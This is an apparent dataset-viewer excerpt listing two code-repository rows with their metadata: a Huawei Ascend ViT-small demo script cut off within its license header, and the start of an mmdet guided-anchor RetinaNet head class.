dd5b161181c57cbb6f92c119ef4e47a2cb865f52 | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/contrib/cv/classification/Vit_small_patch16_224/demo.py | 66a2a13d8d3cb52f4fd92e7b314fde3b18d87ad1 | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"BSD-3-Clause",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference",
"GPL-1.0-or-later",
"LGPL-2.0-or-later",
"CC-BY-NC-4.0",
"LicenseRef-scancode-proprietary-license"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 2,939 | py | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | [
"wangjiangben@huawei.com"
] | wangjiangben@huawei.com |
f4cf399aa908c08f8fdf368a4b980fc0a20c989c | f5641f7cbd7b7b14b2bb68469e7fa1c97dea7b0b | /mmdet/models/anchor_heads/ga_retina_head.py | cf2b33d1796c217a76b4252d80111be54c3632b9 | [
"Apache-2.0"
] | permissive | Youngjoo-Kim/Kaggle_PKU_Baidu | a42751219c37713b3d80d1d81d40876c6b8d71c9 | 10e0a8516da857c217f747daf0197e9e8afc499d | refs/heads/master | 2022-12-10T00:42:18.375239 | 2020-07-20T10:06:58 | 2020-07-20T10:06:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,867 | py | import torch.nn as nn
from mmcv.cnn import normal_init
from mmdet.ops import MaskedConv2d
from ..registry import HEADS
from ..utils import ConvModule, bias_init_with_prob
from .guided_anchor_head import FeatureAdaption, GuidedAnchorHead
@HEADS.register_module
class GARetinaHead(GuidedAnchorHead):
"""G... | [
"stevenwudi@gmail.com"
] | stevenwudi@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.